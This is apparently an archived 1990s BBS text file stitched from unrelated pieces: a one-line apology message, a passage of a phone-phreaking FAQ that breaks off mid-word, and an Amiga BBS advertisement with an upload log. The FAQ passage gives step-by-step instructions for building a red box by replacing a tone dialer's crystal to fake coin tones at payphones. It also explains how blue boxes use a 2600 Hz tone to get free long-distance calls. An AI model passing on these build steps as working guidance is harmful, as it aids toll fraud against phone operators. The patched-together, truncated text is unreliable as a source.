forgive me Message-ID: Date: Fri, 13 Jun 1994 12:15:03 Organization: Tymnet Insecurity Please forgive me for being such a worthless puke all of these years. Sincerely, Bartman ^D 12. What is a Red Box? When a coin is inserted into a payphone, the phone emits a set of tones. A red box is a device that simulates those tones, with the purpose of fooling the payphone into believing you have inserted an actual coin. 13. How do I build a Red Box? Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components. To make a Red Box from a radio shack tone dialer, open the dialer and replace the crystal (the largest shiny metal component) with a crystal close to 6.5Mhz. The most popular choice is the 6.5536Mhz crystal. When you are finished, program the P1 button with five *'s. That will simulate a quarter tone. Note that the tone dialer you start with must have programmable buttons. 14. Which payphones will a Red Box work on? Red Boxes will work on TelCo owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones). 15. What is a Blue Box? Blue boxes use a 2600hz tone to convince telephone switches that use in-band signalling that the caller is actually a telephone operator. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the Multi-Frequency tones provided by the Blue Box. 16. Do Blue Boxes still work? Blue Boxes still work in areas using in-band signalling. Modern phone signalling switches using ESS (Elec ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ -( [ bOONDOCKS! ] [ oNE oF tHE fASTEST iN eUROPE ] )- ________________________________________________________________________ __/ __ __/ _ __/ _ __/ _ __/ ___ __/ _ __/ ____/ / __/ ____/ \_ _ \_ / \_ / \_ / \_ / \_ / \_ / \_ _ \_____ \_ / / ¯¯/ _/ / _/ / / / _/ / _/ / _/ / / ¯¯/ _/ / /___ \__ \__ \__/ \__ \__ \__ \__/ \__ \ sAl1 \/______\/ \/______\/ \/______\/ \/______\/ \ / \ /________\ / \ /________\ / / \ / \ / [·hELLFIRE&lSD wHQ!·tRISTAR aND rED^sECTOR ¡NC.·sUNFLEX iNC.&lFC aMIGA eHQ!·] [·tRiSTAR & rED^SECTOR iNC. cONSOLE·&·gERMAN cONSOLE sYNDICATE wHQ!·] [·tRISTAR & rED^sECTOR ¡NC! /X-iNNOVATION wORLD dISTRIBUTION sITE!·] [·cLASSIC^qUARTEX hQ!·] [·dREAMCHARTS·dEVIOUS dEZIGNS·&·dATA dIVISION dHQ!·] [·-g^sTYLE!·&·tWISTED wHQ!·] [·pRO ARTS·&·rOADHOGZ eHQ!·] [·sYSOPS: s/\L-oNE!·mARIO·sECTORCHARGER·cOLONEL·gAZ P·eCS·] rUNNING oN aN aMIGA 4OOO wITH a cYBERSTORM O6O/5O mHZ/22 mB 2 * cREDITZ fOR mAJORS! 3 * cREDITZ fOR mAJORS fROM yOUR oWN gROUP! --»> lATEST aMIEXPRESS vERSION 4.xX! <«-- ---»> nO nEW uSER pASSWORD aND/oR sYSTEM pASSWORD! <«--- +31-(O)-548-54O-653 +31-(O)-548-521-716/521-848 +tEL-NET -[ 16k8 dUAL ]- -[ 33k6 dUALS ]- -[ 23:30-06:00 gMT +1 ]- [-[[ uPLOADEd bY: Speed Devil ]]-]--[-[[ nODE: 04 ]]-] [-[[ tIME aND dATE oF tHE uPLOAD: ]]---[[ 02:42:28, 11-09-1996 ]]-] ========================================================================== Uploaded on 01-Jan-97 at 00:47:59 on line # 0 Done by BalTiMorA Who called from DiGiTaL-X ParaDise/D ========================================================================== [A¡RaDDer v3.5 By A¡Rcø]